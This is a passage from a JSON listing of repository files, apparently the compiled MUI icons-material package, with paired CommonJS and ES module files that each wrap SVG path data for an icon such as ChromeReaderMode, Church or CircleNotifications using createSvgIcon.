    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12h7v1.5h-7zm0-2.5h7V11h-7zm0 5h7V16h-7zM21 4H3c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 15h-9V6h9z\"\n}), 'ChromeReaderMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChromeReaderMode.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12h7v1.5h-7zm0-2.5h7V11h-7zm0 5h7V16h-7zM21 4H3c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 15h-9V6h9z\"\n}), 'ChromeReaderMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChromeReaderModeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M3 19V6h8v13zm18 0h-8V6h8zm-7-9.5h6V11h-6zm0 2.5h6v1.5h-6zm0 2.5h6V16h-6z\"\n}), 'ChromeReaderModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChromeReaderModeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M3 19V6h8v13zm18 0h-8V6h8zm-7-9.5h6V11h-6zm0 2.5h6v1.5h-6zm0 2.5h6V16h-6z\"\n}), 'ChromeReaderModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChromeReaderModeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14c0 .55-.45 1-1 1h-8V6h8c.55 0 1 .45 1 1zm-1.75-8.5h-5.5c-.41 0-.75.34-.75.75s.34.75.75.75h5.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75m0 2.5h-5.5c-.41 0-.75.34-.75.75s.34.75.75.75h5.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75m0 2.5h-5.5c-.41 0-.75.34-.75.75s.34.75.75.75h5.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75\"\n}), 'ChromeReaderModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChromeReaderModeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14c0 .55-.45 1-1 1h-8V6h8c.55 0 1 .45 1 1zm-1.75-8.5h-5.5c-.41 0-.75.34-.75.75s.34.75.75.75h5.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75m0 2.5h-5.5c-.41 0-.75.34-.75.75s.34.75.75.75h5.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75m0 2.5h-5.5c-.41 0-.75.34-.75.75s.34.75.75.75h5.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75\"\n}), 'ChromeReaderModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChromeReaderModeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12h7v1.5h-7zm0-2.5h7V11h-7zm0 5h7V16h-7zM23 4H1v17h22zm-2 15h-9V6h9z\"\n}), 'ChromeReaderModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChromeReaderModeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12h7v1.5h-7zm0-2.5h7V11h-7zm0 5h7V16h-7zM23 4H1v17h22zm-2 15h-9V6h9z\"\n}), 'ChromeReaderModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChromeReaderModeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6h8v13H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M11 19H3V6h8zm10 0h-8V6h8zm-7-9.5h6V11h-6zm0 2.5h6v1.5h-6zm0 2.5h6V16h-6z\"\n}, \"1\")], 'ChromeReaderModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChromeReaderModeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6h8v13H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M11 19H3V6h8zm10 0h-8V6h8zm-7-9.5h6V11h-6zm0 2.5h6v1.5h-6zm0 2.5h6V16h-6z\"\n}, \"1\")], 'ChromeReaderModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Church.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 12.22V9l-5-2.5V5h2V3h-2V1h-2v2H9v2h2v1.5L6 9v3.22L2 14v8h8v-3c0-1.1.9-2 2-2s2 .9 2 2v3h8v-8zm-6 1.28c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'Church');"
  },
  {
    "path": "packages/mui-icons-material/lib/Church.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 12.22V9l-5-2.5V5h2V3h-2V1h-2v2H9v2h2v1.5L6 9v3.22L2 14v8h8v-3c0-1.1.9-2 2-2s2 .9 2 2v3h8v-8zm-6 1.28c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'Church');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChurchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 12.22V9l-5-2.5V5h2V3h-2V1h-2v2H9v2h2v1.5L6 9v3.22L2 14v8h9v-4c0-.55.45-1 1-1s1 .45 1 1v4h9v-8zM20 20h-5v-2.04c0-1.69-1.35-3.06-3-3.06s-3 1.37-3 3.06V20H4v-4.79l4-1.81v-3.35L12 8l4 2.04v3.35l4 1.81z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"1\")], 'ChurchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChurchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 12.22V9l-5-2.5V5h2V3h-2V1h-2v2H9v2h2v1.5L6 9v3.22L2 14v8h9v-4c0-.55.45-1 1-1s1 .45 1 1v4h9v-8zM20 20h-5v-2.04c0-1.69-1.35-3.06-3-3.06s-3 1.37-3 3.06V20H4v-4.79l4-1.81v-3.35L12 8l4 2.04v3.35l4 1.81z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"1\")], 'ChurchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChurchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 12.22v-1.99c0-.76-.43-1.45-1.11-1.79L13 6.5V5h1c.55 0 1-.45 1-1s-.45-1-1-1h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1.5L7.11 8.45C6.43 8.79 6 9.48 6 10.24v1.99l-2.81 1.25C2.47 13.79 2 14.51 2 15.3V20c0 1.1.9 2 2 2h6v-2.89c0-1 .68-1.92 1.66-2.08 1.26-.21 2.34.76 2.34 1.97v3h6c1.1 0 2-.9 2-2v-4.7c0-.79-.47-1.51-1.19-1.83zm-6 1.28c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'ChurchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChurchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 12.22v-1.99c0-.76-.43-1.45-1.11-1.79L13 6.5V5h1c.55 0 1-.45 1-1s-.45-1-1-1h-1V2c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1.5L7.11 8.45C6.43 8.79 6 9.48 6 10.24v1.99l-2.81 1.25C2.47 13.79 2 14.51 2 15.3V20c0 1.1.9 2 2 2h6v-2.89c0-1 .68-1.92 1.66-2.08 1.26-.21 2.34.76 2.34 1.97v3h6c1.1 0 2-.9 2-2v-4.7c0-.79-.47-1.51-1.19-1.83zm-6 1.28c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'ChurchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChurchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 12.22V9l-5-2.5V5h2V3h-2V1h-2v2H9v2h2v1.5L6 9v3.22L2 14v8h8v-5h4v5h8v-8zm-6 1.28c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'ChurchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChurchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 12.22V9l-5-2.5V5h2V3h-2V1h-2v2H9v2h2v1.5L6 9v3.22L2 14v8h8v-5h4v5h8v-8zm-6 1.28c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'ChurchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChurchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 10.04 12 8l-4 2.04v3.35L4 15.2V20h5v-2.04c0-1.69 1.35-3.06 3-3.06s3 1.37 3 3.06V20h5v-4.79l-4-1.81zm-4 3.46c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 12.22V9l-5-2.5V5h2V3h-2V1h-2v2H9v2h2v1.5L6 9v3.22L2 14v8h9v-4c0-.55.45-1 1-1s1 .45 1 1v4h9v-8zM20 20h-5v-2.04c0-1.69-1.35-3.06-3-3.06s-3 1.37-3 3.06V20H4v-4.79l4-1.81v-3.35L12 8l4 2.04v3.35l4 1.81z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\")], 'ChurchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChurchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 10.04 12 8l-4 2.04v3.35L4 15.2V20h5v-2.04c0-1.69 1.35-3.06 3-3.06s3 1.37 3 3.06V20h5v-4.79l-4-1.81zm-4 3.46c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 12.22V9l-5-2.5V5h2V3h-2V1h-2v2H9v2h2v1.5L6 9v3.22L2 14v8h9v-4c0-.55.45-1 1-1s1 .45 1 1v4h9v-8zM20 20h-5v-2.04c0-1.69-1.35-3.06-3-3.06s-3 1.37-3 3.06V20H4v-4.79l4-1.81v-3.35L12 8l4 2.04v3.35l4 1.81z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\")], 'ChurchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Circle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2\"\n}), 'Circle');"
  },
  {
    "path": "packages/mui-icons-material/lib/Circle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2\"\n}), 'Circle');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleNotifications.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 16.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m5-2.5H7v-1l1-1v-2.61C8 9.27 9.03 7.47 11 7v-.5c0-.57.43-1 1-1s1 .43 1 1V7c1.97.47 3 2.28 3 4.39V14l1 1z\"\n}), 'CircleNotifications');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleNotifications.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 16.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m5-2.5H7v-1l1-1v-2.61C8 9.27 9.03 7.47 11 7v-.5c0-.57.43-1 1-1s1 .43 1 1V7c1.97.47 3 2.28 3 4.39V14l1 1z\"\n}), 'CircleNotifications');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleNotificationsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18.5c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m4-8.61c0-2.11-1.03-3.92-3-4.39v-.5c0-.57-.43-1-1-1s-1 .43-1 1V7c-1.97.47-3 2.27-3 4.39V14H7v2h10v-2h-1zM14 14h-4v-3c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'CircleNotificationsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleNotificationsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18.5c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m4-8.61c0-2.11-1.03-3.92-3-4.39v-.5c0-.57-.43-1-1-1s-1 .43-1 1V7c-1.97.47-3 2.27-3 4.39V14H7v2h10v-2h-1zM14 14h-4v-3c0-1.1.9-2 2-2s2 .9 2 2z\"\n}), 'CircleNotificationsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleNotificationsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 16.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m4-2.5H8c-.55 0-1-.45-1-1s.45-1 1-1v-3c0-1.86 1.28-3.41 3-3.86V6.5c0-.55.45-1 1-1s1 .45 1 1v.64c1.72.45 3 2 3 3.86v3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'CircleNotificationsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleNotificationsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 16.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m4-2.5H8c-.55 0-1-.45-1-1s.45-1 1-1v-3c0-1.86 1.28-3.41 3-3.86V6.5c0-.55.45-1 1-1s1 .45 1 1v.64c1.72.45 3 2 3 3.86v3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'CircleNotificationsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleNotificationsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 16.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m5-2.5H7v-2h1v-3c0-1.86 1.28-3.41 3-3.86V5.5h2v1.64c1.72.45 3 2 3 3.86v3h1z\"\n}), 'CircleNotificationsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleNotificationsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 16.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m5-2.5H7v-2h1v-3c0-1.86 1.28-3.41 3-3.86V5.5h2v1.64c1.72.45 3 2 3 3.86v3h1z\"\n}), 'CircleNotificationsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleNotificationsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m0 14.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m5-2.5H7v-2h1v-2.61C8 9.27 9.03 7.47 11 7v-.5c0-.57.43-1 1-1s1 .43 1 1V7c1.97.47 3 2.28 3 4.39V14h1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18.5c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m4-8.61c0-2.11-1.03-3.92-3-4.39v-.5c0-.57-.43-1-1-1s-1 .43-1 1V7c-1.97.47-3 2.27-3 4.39V14H7v2h10v-2h-1zM14 14h-4v-3c0-1.1.9-2 2-2s2 .9 2 2z\"\n}, \"1\")], 'CircleNotificationsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleNotificationsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m0 14.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m5-2.5H7v-2h1v-2.61C8 9.27 9.03 7.47 11 7v-.5c0-.57.43-1 1-1s1 .43 1 1V7c1.97.47 3 2.28 3 4.39V14h1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18.5c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m4-8.61c0-2.11-1.03-3.92-3-4.39v-.5c0-.57-.43-1-1-1s-1 .43-1 1V7c-1.97.47-3 2.27-3 4.39V14H7v2h10v-2h-1zM14 14h-4v-3c0-1.1.9-2 2-2s2 .9 2 2z\"\n}, \"1\")], 'CircleNotificationsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CircleOutlined.js",
